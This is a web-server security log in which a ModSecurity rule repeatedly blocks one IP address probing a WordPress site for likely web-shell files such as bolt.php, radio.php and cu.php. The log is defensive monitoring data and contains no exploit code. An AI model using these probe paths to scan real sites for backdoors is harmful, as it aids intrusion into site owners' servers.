[Wed Apr 15 19:01:15.185136 2026] [:error] [pid 37370:tid 37382] [client 51.120.68.159:21719] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "ad9v-3g-gnM2Ga0cGAD6tAAAAQo"]
[Wed Apr 15 19:01:15.491374 2026] [:error] [pid 37370:tid 37374] [client 51.120.68.159:23654] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ad9v-3g-gnM2Ga0cGAD6twAAAQI"]
[Wed Apr 15 19:01:16.061041 2026] [:error] [pid 30956:tid 30972] [client 51.120.68.159:39023] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ad9v_EBGUpjaWntNYq1dDgAAAAw"]
[Wed Apr 15 19:01:16.094576 2026] [:error] [pid 31053:tid 31068] [client 51.120.68.159:20196] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "ad9v_BcEkLCmvF0fjDekUAAAAIw"]
[Wed Apr 15 19:01:16.654160 2026] [:error] [pid 31053:tid 31063] [client 51.120.68.159:16755] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "ad9v_BcEkLCmvF0fjDekUwAAAIc"]
[Wed Apr 15 19:01:16.685067 2026] [:error] [pid 31053:tid 31056] [client 51.120.68.159:12044] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "ad9v_BcEkLCmvF0fjDekVAAAAIA"]
[Wed Apr 15 19:01:17.266990 2026] [:error] [pid 30958:tid 31024] [client 51.120.68.159:24804] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "ad9v_ceG3wSKTO7NWFGIPAAAAMg"]
[Wed Apr 15 19:01:17.394351 2026] [:error] [pid 30956:tid 30983] [client 51.120.68.159:7532] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "ad9v_UBGUpjaWntNYq1dDwAAABc"]
[Wed Apr 15 19:01:17.811838 2026] [:error] [pid 37370:tid 37377] [client 51.120.68.159:3244] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "ad9v_Xg-gnM2Ga0cGAD65AAAAQU"]
[Wed Apr 15 19:01:18.036582 2026] [:error] [pid 31053:tid 31064] [client 51.120.68.159:50627] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-access.php"] [unique_id "ad9v_hcEkLCmvF0fjDekVgAAAIg"]
[Wed Apr 15 19:01:18.460841 2026] [:error] [pid 30957:tid 30997] [client 51.120.68.159:12068] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/radio.php"] [unique_id "ad9v_n5gwVEVXHfVSiprBAAAAEg"]
[Wed Apr 15 19:01:18.762527 2026] [:error] [pid 30958:tid 31033] [client 51.120.68.159:12083] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-access.php"] [unique_id "ad9v_seG3wSKTO7NWFGIPQAAANE"]
[Wed Apr 15 19:01:19.069665 2026] [:error] [pid 31053:tid 31062] [client 51.120.68.159:50343] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-access.php"] [unique_id "ad9v_xcEkLCmvF0fjDekVwAAAIY"]
[Wed Apr 15 19:01:19.319167 2026] [:error] [pid 30958:tid 31023] [client 51.120.68.159:21745] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-access.php"] [unique_id "ad9v_8eG3wSKTO7NWFGIPwAAAMc"]
[Wed Apr 15 19:01:19.661332 2026] [:error] [pid 30958:tid 31026] [client 51.120.68.159:7530] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-access.php"] [unique_id "ad9v_8eG3wSKTO7NWFGIQQAAAMo"]
[Wed Apr 15 19:01:19.969786 2026] [:error] [pid 30958:tid 31027] [client 51.120.68.159:50336] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-access.php"] [unique_id "ad9v_8eG3wSKTO7NWFGIQgAAAMs"]
[Wed Apr 15 19:01:20.252666 2026] [:error] [pid 30956:tid 30970] [client 51.120.68.159:12511] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-access.php"] [unique_id "ad9wAEBGUpjaWntNYq1dEAAAAAo"]
[Wed Apr 15 19:01:20.661877 2026] [:error] [pid 30958:tid 31030] [client 51.120.68.159:39015] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad9wAMeG3wSKTO7NWFGIRAAAAM4"]
[Wed Apr 15 19:01:20.928335 2026] [:error] [pid 30958:tid 31021] [client 51.120.68.159:24816] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-access.php"] [unique_id "ad9wAMeG3wSKTO7NWFGIRQAAAMU"]
[Wed Apr 15 19:01:21.406850 2026] [:error] [pid 30956:tid 30981] [client 51.120.68.159:24372] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad9wAUBGUpjaWntNYq1dEQAAABU"]
[Wed Apr 15 19:01:21.520201 2026] [:error] [pid 30957:tid 31003] [client 51.120.68.159:11338] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad9wAX5gwVEVXHfVSiprDAAAAE4"]
[Wed Apr 15 19:01:22.048574 2026] [:error] [pid 37370:tid 37388] [client 51.120.68.159:24797] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad9wAng-gnM2Ga0cGAD66gAAARA"]
[Wed Apr 15 19:01:22.149594 2026] [:error] [pid 37370:tid 37382] [client 51.120.68.159:50632] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad9wAng-gnM2Ga0cGAD66wAAAQo"]
[Wed Apr 15 19:01:22.655651 2026] [:error] [pid 37370:tid 37374] [client 51.120.68.159:39001] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad9wAng-gnM2Ga0cGAD67QAAAQI"]
[Wed Apr 15 19:01:22.745729 2026] [:error] [pid 37370:tid 37386] [client 51.120.68.159:7525] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad9wAng-gnM2Ga0cGAD67wAAAQ4"]
[Wed Apr 15 19:01:23.290910 2026] [:error] [pid 30957:tid 31011] [client 51.120.68.159:11362] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cu.php"] [unique_id "ad9wA35gwVEVXHfVSiprEAAAAFY"]
[Wed Apr 15 19:01:23.398561 2026] [:error] [pid 37370:tid 37373] [client 51.120.68.159:24039] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "ad9wA3g-gnM2Ga0cGAD68gAAAQE"]
[Wed Apr 15 19:01:23.874573 2026] [:error] [pid 31053:tid 31070] [client 51.120.68.159:50661] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cu.php"] [unique_id "ad9wAxcEkLCmvF0fjDekXwAAAI4"]
[Wed Apr 15 19:01:23.967943 2026] [:error] [pid 30958:tid 31040] [client 51.120.68.159:50649] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cu.php"] [unique_id "ad9wA8eG3wSKTO7NWFGIRwAAANg"]
[Wed Apr 15 19:01:24.410302 2026] [:error] [pid 30957:tid 31004] [client 51.120.68.159:29840] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cu.php"] [unique_id "ad9wBH5gwVEVXHfVSiprEwAAAE8"]
[Wed Apr 15 19:01:24.578273 2026] [:error] [pid 31053:tid 31067] [client 51.120.68.159:50319] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cu.php"] [unique_id "ad9wBBcEkLCmvF0fjDekZAAAAIs"]
[Wed Apr 15 19:01:24.985111 2026] [:error] [pid 31053:tid 31057] [client 51.120.68.159:44134] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cu.php"] [unique_id "ad9wBBcEkLCmvF0fjDekZwAAAIE"]
[Wed Apr 15 19:01:25.140692 2026] [:error] [pid 31053:tid 31079] [client 51.120.68.159:24020] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cu.php"] [unique_id "ad9wBRcEkLCmvF0fjDekaQAAAJc"]
[Wed Apr 15 19:01:25.600583 2026] [:error] [pid 31053:tid 31061] [client 51.120.68.159:9065] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/index.php"] [unique_id "ad9wBRcEkLCmvF0fjDekbQAAAIU"]
[Wed Apr 15 19:01:25.765863 2026] [:error] [pid 31053:tid 31077] [client 51.120.68.159:8585] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cu.php"] [unique_id "ad9wBRcEkLCmvF0fjDekbgAAAJU"]
[Wed Apr 15 19:01:26.163034 2026] [:error] [pid 30956:tid 30979] [client 51.120.68.159:11345] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/index.php"] [unique_id "ad9wBkBGUpjaWntNYq1dGAAAABM"]
[Wed Apr 15 19:01:26.350894 2026] [:error] [pid 31053:tid 31071] [client 51.120.68.159:12034] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/index.php"] [unique_id "ad9wBhcEkLCmvF0fjDekcwAAAI8"]
[Wed Apr 15 19:01:26.748180 2026] [:error] [pid 37370:tid 37378] [client 51.120.68.159:3214] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/index.php"] [unique_id "ad9wBng-gnM2Ga0cGAD69QAAAQY"]
[Wed Apr 15 19:01:26.994018 2026] [:error] [pid 37370:tid 37384] [client 51.120.68.159:12495] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/index.php"] [unique_id "ad9wBng-gnM2Ga0cGAD69wAAAQw"]
[Wed Apr 15 19:01:27.326010 2026] [:error] [pid 37370:tid 37389] [client 51.120.68.159:8627] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/index.php"] [unique_id "ad9wB3g-gnM2Ga0cGAD6-gAAARE"]
[Wed Apr 15 19:01:27.523809 2026] [:error] [pid 37370:tid 37386] [client 51.120.68.159:39017] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/index.php"] [unique_id "ad9wB3g-gnM2Ga0cGAD6_AAAAQ4"]
[Wed Apr 15 19:01:27.895860 2026] [:error] [pid 37370:tid 37379] [client 51.120.68.159:39010] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "ad9wB3g-gnM2Ga0cGAD7AwAAAQc"]
[Wed Apr 15 19:01:28.066085 2026] [:error] [pid 31053:tid 31066] [client 51.120.68.159:26514] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/index.php"] [unique_id "ad9wCBcEkLCmvF0fjDekeQAAAIo"]
[Wed Apr 15 19:01:28.493428 2026] [:error] [pid 31053:tid 31062] [client 51.120.68.159:23645] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "ad9wCBcEkLCmvF0fjDekewAAAIY"]
[Wed Apr 15 19:01:28.595698 2026] [:error] [pid 31053:tid 31061] [client 51.120.68.159:24364] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "ad9wCBcEkLCmvF0fjDekfwAAAIU"]
[Wed Apr 15 19:01:29.076780 2026] [:error] [pid 30956:tid 30963] [client 51.120.68.159:7492] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "ad9wCUBGUpjaWntNYq1dGwAAAAM"]
[Wed Apr 15 19:01:29.149138 2026] [:error] [pid 31053:tid 31063] [client 51.120.68.159:32017] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "ad9wCRcEkLCmvF0fjDekggAAAIc"]
[Wed Apr 15 19:01:29.661231 2026] [:error] [pid 37370:tid 37380] [client 51.120.68.159:24348] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "ad9wCXg-gnM2Ga0cGAD7BwAAAQg"]
[Wed Apr 15 19:01:29.806517 2026] [:error] [pid 30957:tid 31009] [client 51.120.68.159:11369] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "ad9wCX5gwVEVXHfVSiprFQAAAFQ"]
[Wed Apr 15 19:01:30.205773 2026] [:error] [pid 30957:tid 31010] [client 51.120.68.159:39039] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/900.php"] [unique_id "ad9wCn5gwVEVXHfVSiprGAAAAFU"]
[Wed Apr 15 19:01:30.348521 2026] [:error] [pid 30957:tid 31011] [client 51.120.68.159:50654] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bolt.php"] [unique_id "ad9wCn5gwVEVXHfVSiprGgAAAFY"]
[Wed Apr 15 19:01:30.857092 2026] [:error] [pid 37370:tid 37375] [client 51.120.68.159:24772] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/900.php"] [unique_id "ad9wCng-gnM2Ga0cGAD7DAAAAQM"]
[Wed Apr 15 19:01:30.988504 2026] [:error] [pid 30958:tid 31037] [client 51.120.68.159:24332] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/900.php"] [unique_id "ad9wCseG3wSKTO7NWFGISwAAANU"]
[Wed Apr 15 19:01:31.410980 2026] [:error] [pid 30958:tid 31023] [client 51.120.68.159:44098] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/900.php"] [unique_id "ad9wC8eG3wSKTO7NWFGITAAAAMc"]
[Wed Apr 15 19:01:31.575858 2026] [:error] [pid 31053:tid 31068] [client 51.120.68.159:24793] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/900.php"] [unique_id "ad9wCxcEkLCmvF0fjDekhwAAAIw"]
[Wed Apr 15 19:01:31.981819 2026] [:error] [pid 30958:tid 31032] [client 51.120.68.159:21753] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/900.php"] [unique_id "ad9wC8eG3wSKTO7NWFGITgAAANA"]
